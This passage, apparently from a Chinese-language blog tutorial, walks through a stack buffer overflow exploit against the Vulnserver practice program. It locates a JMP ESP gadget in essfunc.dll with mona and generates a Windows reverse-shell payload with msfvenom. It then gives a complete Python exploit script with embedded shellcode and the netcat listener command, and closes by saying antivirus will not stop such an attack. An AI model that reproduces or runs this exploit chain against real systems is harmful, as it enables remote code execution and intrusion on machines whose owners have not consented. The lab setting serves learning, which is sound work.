!mona modules
然后我们会跳到一个新窗口里
我们要寻找防护都是关闭状态的程序,即全是false
第二行有一个防护全是关闭的dll文件,叫做essfunc.dll
在汇编语言里,有一个指令叫做jmp,它能跳转到指定的地址,我们可以把EIP的值换成jmp指令存在的地址,然后跳到我们想要执行代码的地方,有一个重要的寄存器叫做ESP,它存放的参数是程序空间最大的地址,回到kali,用metasploit将jmp和ESP的操作码找到
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
然后输入JMP ESP
转换成十六进制就是
\xff\xe4
然后我们在essfunc.dll里找一下有没有这个参数
!mona find -s "\xff\xe4" -m essfunc.dll

这些地址都可以用,我们随意选择一个,0x625011af,在x86架构里,读取地址是由低到高的,所以是\xaf\x11\x50\x62,下一步写最终的脚本有用
回到kali,我们用msfvenom生成一段x86架构能运行的shellcode代码,来拿到windows的shell,除了msfvenom,我们也可以在这个网站上找到windows的shellcode
http://shell-storm.org/shellcode/index.html

msfvenom -p windows/shell_reverse_tcp LHOST=本地ip LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
-f 输出形式为c语言
-a 架构为x86
-b 取消指定的十六进制参数,\x00在操作码里是空指令,所以我们要排除\x00

然后我们做一个最终的脚本
!/usr/bin/python
import sys
import socket
shellcode = ("\xdb\xc6\xbd\xbd\xf8\x2f\x34\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x52\x83\xef\xfc\x31\x6f\x13\x03\xd2\xeb\xcd\xc1\xd0\xe4\x90"
"\x2a\x28\xf5\xf4\xa3\xcd\xc4\x34\xd7\x86\x77\x85\x93\xca\x7b"
"\x6e\xf1\xfe\x08\x02\xde\xf1\xb9\xa9\x38\x3c\x39\x81\x79\x5f"
"\xb9\xd8\xad\xbf\x80\x12\xa0\xbe\xc5\x4f\x49\x92\x9e\x04\xfc"
"\x02\xaa\x51\x3d\xa9\xe0\x74\x45\x4e\xb0\x77\x64\xc1\xca\x21"
"\xa6\xe0\x1f\x5a\xef\xfa\x7c\x67\xb9\x71\xb6\x13\x38\x53\x86"
"\xdc\x97\x9a\x26\x2f\xe9\xdb\x81\xd0\x9c\x15\xf2\x6d\xa7\xe2"
"\x88\xa9\x22\xf0\x2b\x39\x94\xdc\xca\xee\x43\x97\xc1\x5b\x07"
"\xff\xc5\x5a\xc4\x74\xf1\xd7\xeb\x5a\x73\xa3\xcf\x7e\xdf\x77"
"\x71\x27\x85\xd6\x8e\x37\x66\x86\x2a\x3c\x8b\xd3\x46\x1f\xc4"
"\x10\x6b\x9f\x14\x3f\xfc\xec\x26\xe0\x56\x7a\x0b\x69\x71\x7d"
"\x6c\x40\xc5\x11\x93\x6b\x36\x38\x50\x3f\x66\x52\x71\x40\xed"
"\xa2\x7e\x95\xa2\xf2\xd0\x46\x03\xa2\x90\x36\xeb\xa8\x1e\x68"
"\x0b\xd3\xf4\x01\xa6\x2e\x9f\xed\x9f\xe3\xde\x86\xdd\x03\xf0"
"\x0a\x6b\xe5\x98\xa2\x3d\xbe\x34\x5a\x64\x34\xa4\xa3\xb2\x31"
"\xe6\x28\x31\xc6\xa9\xd8\x3c\xd4\x5e\x29\x0b\x86\xc9\x36\xa1"
"\xae\x96\xa5\x2e\x2e\xd0\xd5\xf8\x79\xb5\x28\xf1\xef\x2b\x12"
"\xab\x0d\xb6\xc2\x94\x95\x6d\x37\x1a\x14\xe3\x03\x38\x06\x3d"
"\x8b\x04\x72\x91\xda\xd2\x2c\x57\xb5\x94\x86\x01\x6a\x7f\x4e"
"\xd7\x40\x40\x08\xd8\x8c\x36\xf4\x69\x79\x0f\x0b\x45\xed\x87"
"\x74\xbb\x8d\x68\xaf\x7f\xad\x8a\x65\x8a\x46\x13\xec\x37\x0b"
"\xa4\xdb\x74\x32\x27\xe9\x04\xc1\x37\x98\x01\x8d\xff\x71\x78"
"\x9e\x95\x75\x2f\x9f\xbf") ##我们要执行的shellcode代码
buff = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 16 + shellcode ##2003个字符将程序空间全部覆盖,然后用0x625011af覆盖EIP来运行我们想做的操作,x90的操作码是NOP,简单解释就是覆盖地址后程序无操作,防止程序报错停止运行
while True:
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('靶机IP',9999))
s.send(('TRUN /.:/' + buff))
s.close()
except:
print "error server"
sys.exit()
回到windows,我们关闭掉immunity debugger,然后双击直接运行Vulnserver
再回到kali,新打开一个终端,我们使用netcat去监听刚刚msfvenom里刚刚输入的监听端口
nc -nvlp 4444

我们赋予我们脚本权限
chmod +x buff2.py
然后再运行我们新写的脚本
./buff2.py


因为这是一个正常的程序,所以杀软无法禁止这个程序,除了反弹shell,也可以做一些其他的操作,只要知道这个程序有漏洞,可操作性就很大了,windows和linux流程都一样,这里举一反三即可
在测试时, 杀软就算被检测到攻击流量,也只会显示僵尸网络,并不会隔离和删除程序
在程序里写一个栈溢出和jmp esp就行了,之后直接栈溢出控制eip然后跳转到esp执行shellcode或者执行指定的命令,针对不同的系统,写不同的exp即可
栈利用流程
测试变量是否存在栈溢出漏洞–寻找缓冲区溢出大小的具体值–找到想要跳转的地方–编写payload文件–执行脚本
更多推荐


所有评论(0)